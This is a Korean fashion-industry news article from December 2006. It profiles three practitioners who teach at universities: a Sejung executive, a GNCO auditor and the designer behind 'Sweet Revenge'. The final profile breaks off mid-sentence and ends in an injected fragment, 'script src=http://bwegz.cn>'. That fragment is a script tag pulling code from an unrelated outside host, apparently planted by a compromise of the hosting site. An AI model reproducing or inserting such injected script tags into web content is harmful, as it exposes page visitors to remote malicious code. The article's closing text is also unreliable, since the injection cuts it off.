현장감 있는 패션교육 들어 보실래요?
2006-12-27 

“강의를 하며 배우는 것이 더 많죠”● 세정과 미래 강덕남 상무
강덕남 상무는 지난 한 달간 열 번이 넘는 강의를 했다.
일주일에 한번 있는 금오공대 섬유패션학과의 통합 마케팅 수업과 세정21의 12회짜리 특강, 2기 수강생 배출을 앞둔 세정과미래의 패션비지니스 수업까지. 한 주에 세 번, 한번에 두 시간씩을 꼬박꼬박 강의를 위해 투자하고 있다. 연 매출 1천 억원이 넘는 브랜드를 운영하느라 하루가 25시간이라도 모자랄 그가 없는 시간을 쪼개 가며 강의 요청을 받아들이는 이유는 뭘까.
그는 될 수 있는 한 ‘미래의 패션업계를 움직여 나갈 주역, 한국 패션비지니스의 희망’인 학생들, 후배들에게 살아 있는 지식을 전달하고 싶다고 한다.
“영업, 물류, 기획, 정보시스템, 상품기획, 마케팅 등 여러 분야를 섭렵하면서 그 때마다 부딪혔던 벽과 그에 대한 고민…이런 생생한 현장의 이야기를 통해 학생들이 책에서 얻지 못하는 살아 있는 지식을 얻기 바랍니다.”
학생들도 현장에서 얻은 생생한 이야기에 목이 말랐는지, 그의 강의는 항상 최고 수준의 출석률을 기록한다. 4명의 학과 교수들도 뒷자리에 나란히 앉아 강의내용을 경청한다.
시험도 순위를 매기기 위한 무분별 문항 출제는 피한다. 꼭 알아야 할 것 20가지를 미리 알려주고 그 중 5가지를 출제하는 것이 그의 시험 방식.
시험이라는 것이 알아야 할 것을 알게 하는 데 의미가 있다는 생각에서이다. 현장 업무에 지쳐 자칫 자기개발에 소홀할 수 있는 후배들에게 지식을 쌓을 동기를 만들어주겠다는 생각도 세정과미래, 세정21에서 하는 강의를 쉽사리 그만두지 못하게 한다.
그러나 무엇보다도 “강의를 통해 얻는 것이 많은 것이 강의를 그만두지 못하는 이유”라고 강 상무는 말했다.
“강의 준비를 하면서 다시 한번 생각해 보고 이를 정리해 봅니다. 업무에 치여 잊었을지 모를 경험도 강의를 통해 다시 살려내죠. 언젠가 강의 내용을 바탕으로 책을 출간할 계획입니다.”

탄탄한 기초가 중요 ● 지엔코 신명은 감사
“탄탄한 실무실력을 발휘하기 위해서는 기초가 가장 중요합니다.”
신명은 감사는 덕성여대에서 패션마케팅을 강의하고 있다.
학생들은 신 감사의 수업에서 사회이야기, 실무이야기 등 실제적인 이야기들을 듣기를 기대한다고. 그러나 신 감사는 다소 평범해(?) 보이는 기초의 중요성을 가장 강조한다.
“진짜 실무를 잘하려면, 기초가 탄탄해야 합니다. 기초 없는 테크닉으로는 큰 성과를 얻을 수 없습니다. 테크닉만 좋으면 한 순간 반짝할 수는 있지만 롱런하지는 못해요. 학창시절에 지루하다고 생각하며 배웠던 기초과목들이 든든한 버팀목 역할을 합니다.”
신명은 감사는 덕성여대 83학번이다. 자신의 사회경험을 제자이자 후배들에게 들려주는 이 시간이 자신에게는 너무 소중하다고 말했다.
“사회 경험이 없는 후배들이 저를 통해서 사회를 그립니다. 선배로서 ‘정말 도움이 되어야겠다’는 막중한 책임을 느낍니다.”
신감사의 수업은 인기가 좋다. 한 학년의 80∼90%가 수강 신청을 한다.
“편한 분위기로 수업을 이끌어 가려고 합니다. 후배들이 자유롭게 자기 생각을 발표하는 시간을 많이 갖습니다. 사회에 나와서 가장 중요한 것이 자신의 생각을 정확하게 전달하고, 상대방을 이해하는 것이기 때문이죠.”
취업 시즌이 되면 신 감사는 학생들에게 여러 통의 전화를 받는다.
“제가 의류 브랜드를 총괄하고 있기 때문인지 면접 보러 가기 전 날 후배들이 제게 꼭 전화합니다. 전 면접자의 눈으로 학생들을 평가해줍니다. 학생의 성향, 특기에 따라 어떻게 어필해야 할지 조언해 주죠.”
신 감사는 자유로운 분위기로 수업을 진행하고, 학생들과의 편하게 지내지만 성적평가는 철저하다고 말했다. 곧 졸업할 학생들에게도 C, D학점을 줘 학생들에게 원성을 사기도 했단다. 그러나 ‘공은 공, 사는 사’라는 것이 신명은 감사의 생각이다.

감성적인 디자이너에서 엄한 교수님까지 ● 「스위트리벤지」 홍승완 디자이너
“디자이너 일과 교수 일을 병행하는 게 오히려 플러스가 되는 요인이 많습니다. 학생들을 가르치면서 디자인의 기본이 뭔가에 대해 늘 고민하게 됩니다.”
디자이너 홍승완 씨는 2001년 SFAA컬렉션에 참가한 후 꾸준히 컬렉션을 통해 「스위트리벤지」를 디자인하고 있다. 동시에 용인 송담대학교 스타일리스트과의 조교수로도 활동하고 있다.
스타일리스트과는 기본적으로 패션 디자이너가 되기 위한 기본 소양과 함께 스타일링을 심층적으로 공부하는 학과이다. 2000년부터 강의를 시작했으니 벌써 4년째다.
홍승완 씨는부드러운 외모와는 달리 학생들에게는 ‘엄한’ 교수로 통한다. “학생을 가르칠때는 항상 ‘기본’을 강조하는 강의를 한다. 목표를 설정하고 그 목표에 도달하기 위해 학생들을 트레이닝?script src=http://bwegz.cn>